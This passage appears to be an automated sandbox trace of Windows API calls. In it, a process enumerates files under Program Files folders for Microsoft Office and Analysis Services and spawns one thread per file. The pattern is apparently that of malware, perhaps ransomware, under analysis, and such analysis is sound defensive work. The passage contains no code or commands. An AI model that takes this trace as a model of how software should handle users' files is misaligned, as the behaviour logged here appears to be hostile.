wcscmp (_String1=".", _String2=".") returned 0 [0094.705] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.705] wcscmp (_String1="..", _String2=".") returned 1 [0094.705] wcscmp (_String1="..", _String2="..") returned 0 [0094.705] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0094.705] wcscmp (_String1="1033", _String2=".") returned 1 [0094.705] wcscmp (_String1="1033", _String2="..") returned 1 [0094.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7ae060 [0094.705] wcscpy (in: _Dest=0x1b7ae060, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0094.705] wcscat (in: _Dest=0x1b7ae060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0094.705] wcscat (in: _Dest=0x1b7ae060, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0097.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ae060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0097.727] FindNextFileW (in: hFindFile=0x1cd9c610, lpFindFileData=0x1cd633e0 | out: lpFindFileData=0x1cd633e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0097.727] FindClose (in: hFindFile=0x1cd9c610 | out: hFindFile=0x1cd9c610) returned 1 [0097.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd633e0) returned 1 [0097.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0097.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b760) returned 1 Thread: id = 576 os_tid = 0xed0 [0094.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1cf4d380 [0094.706] wcscpy (in: _Dest=0x1cf4d380, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0094.706] wcscat (in: _Dest=0x1cf4d380, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0094.706] wcscat (in: _Dest=0x1cf4d380, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*" [0094.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd62f00 [0094.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c5b0 [0094.709] wcscmp (_String1=".", _String2=".") returned 0 [0094.709] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.709] wcscmp (_String1="..", _String2=".") returned 1 [0094.709] wcscmp (_String1="..", _String2="..") returned 0 [0094.709] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0094.709] wcscmp (_String1="J0143743.GIF", _String2=".") returned 1 [0094.709] wcscmp (_String1="J0143743.GIF", _String2="..") returned 1 [0094.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce114a0 [0094.709] wcscpy (in: _Dest=0x1ce114a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0094.709] wcscat (in: _Dest=0x1ce114a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0094.709] wcscat (in: _Dest=0x1ce114a0, _Source="J0143743.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" [0097.728] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce114a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdf4 [0097.729] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0097.729] wcscmp (_String1="J0143744.GIF", _String2=".") returned 1 [0097.729] wcscmp (_String1="J0143744.GIF", _String2="..") returned 1 [0097.729] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862040 [0097.729] wcscpy (in: _Dest=0x1b862040, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.729] wcscat (in: _Dest=0x1b862040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.729] wcscat (in: _Dest=0x1b862040, _Source="J0143744.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" [0097.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x91c [0097.730] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0097.730] wcscmp (_String1="J0143745.GIF", _String2=".") returned 1 [0097.730] wcscmp (_String1="J0143745.GIF", _String2="..") returned 1 [0097.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8620f0 [0097.730] wcscpy (in: _Dest=0x1b8620f0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.730] wcscat (in: _Dest=0x1b8620f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.730] wcscat (in: _Dest=0x1b8620f0, _Source="J0143745.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143745.GIF" [0097.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8620f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0097.731] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0097.731] wcscmp (_String1="J0143746.GIF", _String2=".") returned 1 [0097.731] wcscmp (_String1="J0143746.GIF", _String2="..") returned 1 [0097.731] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8621a0 [0097.731] wcscpy (in: _Dest=0x1b8621a0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.731] wcscat (in: _Dest=0x1b8621a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.731] wcscat (in: _Dest=0x1b8621a0, _Source="J0143746.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143746.GIF" [0097.731] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8621a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598 [0097.732] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0097.732] wcscmp (_String1="J0143748.GIF", _String2=".") returned 1 [0097.732] wcscmp (_String1="J0143748.GIF", _String2="..") returned 1 [0097.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862250 [0097.732] wcscpy (in: _Dest=0x1b862250, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.732] wcscat (in: _Dest=0x1b862250, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.732] wcscat (in: _Dest=0x1b862250, _Source="J0143748.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" [0097.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862250, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0097.734] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0097.734] wcscmp (_String1="J0143749.GIF", _String2=".") returned 1 [0097.734] wcscmp (_String1="J0143749.GIF", _String2="..") returned 1 [0097.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862300 [0097.734] wcscpy (in: _Dest=0x1b862300, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.734] wcscat (in: _Dest=0x1b862300, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.734] wcscat (in: _Dest=0x1b862300, _Source="J0143749.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143749.GIF" [0097.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590 [0097.735] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0097.736] wcscmp (_String1="J0143750.GIF", _String2=".") returned 1 [0097.736] wcscmp (_String1="J0143750.GIF", _String2="..") returned 1 [0097.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8623b0 [0097.736] wcscpy (in: _Dest=0x1b8623b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.736] wcscat (in: _Dest=0x1b8623b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.736] wcscat (in: _Dest=0x1b8623b0, _Source="J0143750.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143750.GIF" [0097.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8623b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c [0097.737] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0097.737] wcscmp (_String1="J0143752.GIF", _String2=".") returned 1 [0097.737] wcscmp (_String1="J0143752.GIF", _String2="..") returned 1 [0097.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862460 [0097.737] wcscpy (in: _Dest=0x1b862460, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.737] wcscat (in: _Dest=0x1b862460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.737] wcscat (in: _Dest=0x1b862460, _Source="J0143752.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143752.GIF" [0097.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588 [0097.739] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0097.739] wcscmp (_String1="J0143753.GIF", _String2=".") returned 1 [0097.739] wcscmp (_String1="J0143753.GIF", _String2="..") returned 1 [0097.739] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862510 [0097.739] wcscpy (in: _Dest=0x1b862510, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.739] wcscat (in: _Dest=0x1b862510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.739] wcscat (in: _Dest=0x1b862510, _Source="J0143753.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143753.GIF" [0097.739] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584 [0097.740] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0097.740] wcscmp (_String1="J0143754.GIF", _String2=".") returned 1 [0097.740] wcscmp (_String1="J0143754.GIF", _String2="..") returned 1 [0097.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b8625c0 [0097.740] wcscpy (in: _Dest=0x1b8625c0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.740] wcscat (in: _Dest=0x1b8625c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.741] wcscat (in: _Dest=0x1b8625c0, _Source="J0143754.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143754.GIF" [0097.741] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8625c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580 [0097.741] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0097.741] wcscmp (_String1="J0143758.GIF", _String2=".") returned 1 [0097.742] wcscmp (_String1="J0143758.GIF", _String2="..") returned 1 [0097.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862670 [0097.742] wcscpy (in: _Dest=0x1b862670, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.742] wcscat (in: _Dest=0x1b862670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.742] wcscat (in: _Dest=0x1b862670, _Source="J0143758.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143758.GIF" [0097.742] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b862670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0097.743] FindNextFileW (in: hFindFile=0x1cd9c5b0, lpFindFileData=0x1cd62f00 | out: lpFindFileData=0x1cd62f00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0097.743] wcscmp (_String1="WB00516L.GIF", _String2=".") returned 1 [0097.743] wcscmp (_String1="WB00516L.GIF", _String2="..") returned 1 [0097.743] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862720 [0097.743] wcscpy (in: _Dest=0x1b862720, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0097.743] wcscat (in: _Dest=0x1b862720, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0097.743] wcscat (in: _Dest=0x1b862720, _Source="WB00516L.GIF" | out: _Dest="C:\\Program 